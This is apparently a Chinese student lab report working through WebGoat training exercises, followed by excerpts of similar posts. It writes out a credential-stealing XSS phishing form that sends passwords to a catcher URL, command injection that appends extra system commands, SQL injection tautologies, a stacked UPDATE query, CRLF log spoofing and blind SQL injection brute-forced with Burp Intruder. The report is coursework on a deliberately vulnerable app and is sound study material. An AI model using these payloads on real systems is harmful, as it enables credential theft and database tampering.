20155323刘威良《网络对抗》Exp9 Web安全基础

20155323刘威良《网络对抗》Exp9 Web安全基础

实践目的

理解常用网络攻击技术的基本原理。

实践内容

Webgoat实践下相关实验。

实践过程

开启WebGoat

WebGoat是由OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来进行Web应用程序安全训练的。这个应用程序提供了一个逼真的模拟实战的教学环境,为用户完成课程提供了有关的线索。

我们在终端下输入命令java -jar webgoat-container-7.0.1-war-exec.jar,等到运行完毕,WebGoat服务就打开了。如图所示,该服务占用的是8080端口。

我们再在浏览器中打开8080端口localhost:8080/WebGoat就可以进入WebGoat,可以用图中默认的账户密码登录。

Phishing with XSS

题目是跨站脚本钓鱼攻击,要求我们在搜索框中输入XSS攻击代码,读取被攻击者输入的用户名和密码。

`</form>
    <script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
  </script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
<input type="text" name="user">
 <br>Enter Password:<br>
<input type="password" name = "pass">
<br>
 <input type="submit" name="login" value="login"    onclick="hack()">
</form>
<br>
<br>
<HR>`

将代码添加到Search框内后点击search,然后输入任意用户名密码并提交,就可以显示攻击成功。我们得到了被攻击者的用户名和密码。

Stored XSS Attacks

储存型XSS攻击,我们在留言板中进行恶意留言,点击这条留言就可以看到我们留下的信息。

message框输入<script>alert("20155323lwl");</script>代码并提交,再点开链接,就可以显示攻击成功。

Reflected XSS Attacks

反射型XSS攻击,在输入框插入一段浏览器可以解释的代码,那么就相当于将其植入到了value中,浏览器会解释这段代码。

在code框中输入<script>alert("20155323lwl");</script>,点击Purchase会出现对话框显示攻击成功。

Command Injection

命令注入,要求给操作系统注入命令行并能够在目标主机上执行系统命令,我们打开源代码界面搜索BackDoors,在BackDoors.help后加上一段代码& netstat -an & ipconfig,目的是注入netstat -an以及ifconfig这两个系统命令以获取IP以及网络端口使用情况。

修改完后选定刚刚设定的值并且点击view,我们就可以得到本机的网络端口使用情况和ip地址。

Numeric SQL Injection

数字型SQL注入,要求我们利用SQL注入获得所有的天气数据。

首先在源代码中进行修改,在station中任意一个值后加上永真式1=1,再进行攻击,我们就可以得到所有城市的天气数据。

Log Spoofing

日志欺骗,利用日志的格式,使用换行等字符注入恶意字符串,按照规则伪造日志欺骗管理员。

我们可以在用户名框内输入命令PC%0d%0aLogin Succeeded for username: admin,注入回车%0d和换行符%0a,留下假的登陆成功日志。

String SQL Injection

SQL字符串注入,尝试使用‘Smith‘的用户名来注入一个字符串,显示用户所有信用卡号码。

其实用户名不是关键,输入任何用户名或者不输入都可以,主要是要在用户名后加上永真式,这是最简单的SQL注入攻击。

Stage 1:String SQL Injection

要求使用字符串SQL注入来绕过身份验证,我们还是在密码框中使用永真式,但是发现登录失败。打开源码我们可以发现,密码的最大长度为8,我们将最大长度修改为100,再在密码栏中输入‘ or 1=1 --进行登录,‘--‘为注释符号。

Stage 3:Numeric SQL Injection

要求通过认证执行SQL注入,使用普通员工的权限来得到boss账户的信息。

还是先执行上一个实践的步骤登录员工账户,然后在源码中搜索value,在101后加上永真式or 1=1 order by salary desc--,再点击viewProfile我们就可以看到老板的账户信息了。

Database Backdoors

数据库后门,首先我们可以输入101查看该用户信息

然后我们可以输入sql语句来修改信息内容,101; update employee set salary=1000000 where userid=101;,薪水就呗我们改成100了。

我们还可以使用SQL注入创建一个触发器,这样子创建新用户时就会修改邮箱为你的邮箱。

Blind Numeric SQL Injection

数字型盲注,有时我们获取不到自己需要的信息,此时可以通过SQL语句的条件判断。比如利用二分法去判断并逐渐缩小区间。

首先输入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 500 );判断pin值是否大于500,结果显示Account number is valid,说明的确是大于500

我们再改为2000,发现还是大于2000,再试试3000,这里显示invalid account number,说明错误了,此时pin值范围在2000-3000之间。

使用BurpSuite,截获报文进行暴力破解,由于8080端口被占用,我们添加一个新端口并勾选。

然后在浏览器的端口设置中选择自己刚刚设置的新端口。

在webgoat端点击go,捕获到了报文后右键选择send to intruder,然后设置载荷,从2000到3000进行,步数为1,设置完成后开始攻击。

最后我们发现发现2364与其他有明显区别

输入2364进行验证。

回答问题

(1)SQL注入攻击原理,如何防御

原理是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量,也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。

防御手段可以是限制用户权限,严格规定输入格式,过滤掉特殊字符以防永真式之类的语句出现。

(2)XSS攻击的原理,如何防御

原理是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。

防御手段可以是严格进行过滤,对于

原文地址:https://www.cnblogs.com/fixedl/p/9108477.html

时间: 2024-09-27 19:14:07

20155323刘威良《网络对抗》Exp9 Web安全基础的相关文章

20155323刘威良 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode. 实践内容 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个攻击输入字

20145225唐振远《网络对抗》 Web安全基础实践

20145225唐振远<网络对抗>Web安全基础实践 参考博客:20145215 卢肖明 基础问题回答 (1)SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 防御:利用输入规则限制进行防御,过滤输入的数据,不允许特殊字符输入. (2)XSS攻击的原理,如何防御? 跨站脚本攻击,允许恶意用户将恶意Script代码注入到网页上,当用户浏览网页时,嵌入其中Web里面的Script代码

20145326蔡馨熤《网络对抗》—— Web安全基础实践

20145326蔡馨熤<网络对抗>-- Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统. 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入.前者由不安全的数据库配置或数据库平台的漏洞所致:后者主要是由于程序员对输入未进行细致地过滤,

20145216史婧瑶《网络对抗》Web安全基础实践

20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一些组合,程序通过执行SQL语句进而执行攻击者所要的操作.其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统. 防御方法: 对输入的数据进行过滤,将常见的sql语句的关键词:select or ' " 等字符进行过滤. 对在数据库中对密码进行加密,验证登陆的时

20155326《网络对抗》Web安全基础实践

20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,由于在设计程序中忽略对可能构成攻击的特殊字符串的检查,所以通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统.后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果.

20155331《网络对抗》Web安全基础实践

20155331<网络对抗> Exp9 Web安全基础 实验过程 WebGoat 在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat. 打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,使用默认的账号密码即可登陆. XSS攻击 Phishing with XSS 跨站脚本钓鱼攻击 任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作.这里实验的是一种获取用户名和密码的攻击 在

exp9《网络对抗》web安全基础实践201453331魏澍琛

201453331魏澍琛web安全基础实践 一.实验过程 1.webgoat开启 2.Injection Flaws练习 Command Injection 原网页中没有注入的地方,那就用burpsuite(设置的相关步骤别人的博客写的很详细,不累述了),分析第一个包看他的数据提交的位置,找到后进行命令的注入,成功. 我注入的命令是AccessControlMatrix.help"&&ifconfig",执行了ifconfig命令,鉴于这个可以证明是本人操作,就把他截了

20155311《网络对抗》Web安全基础实践

基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统. 防御: 1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等. 2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取. 3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接. 4.不要把机密信息直

20155323刘威良《网络对抗》Exp7 网络欺诈防范

20155323刘威良<网络对抗>Exp7 网络欺诈防范 实践目标 理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法. 实践内容 (1)简单应用SET工具建立冒名网站 (1分) (2)ettercap DNS spoof (1分) (3)结合应用两种技术,用DNS spoof引导特定访问到冒名网站.(1.5分) 实践过程 简单应用SET工具建立冒名网站 首先在kali内输入命令sudo vi /etc/apache2/ports.conf对Apache的端口配置文件进行修改,将端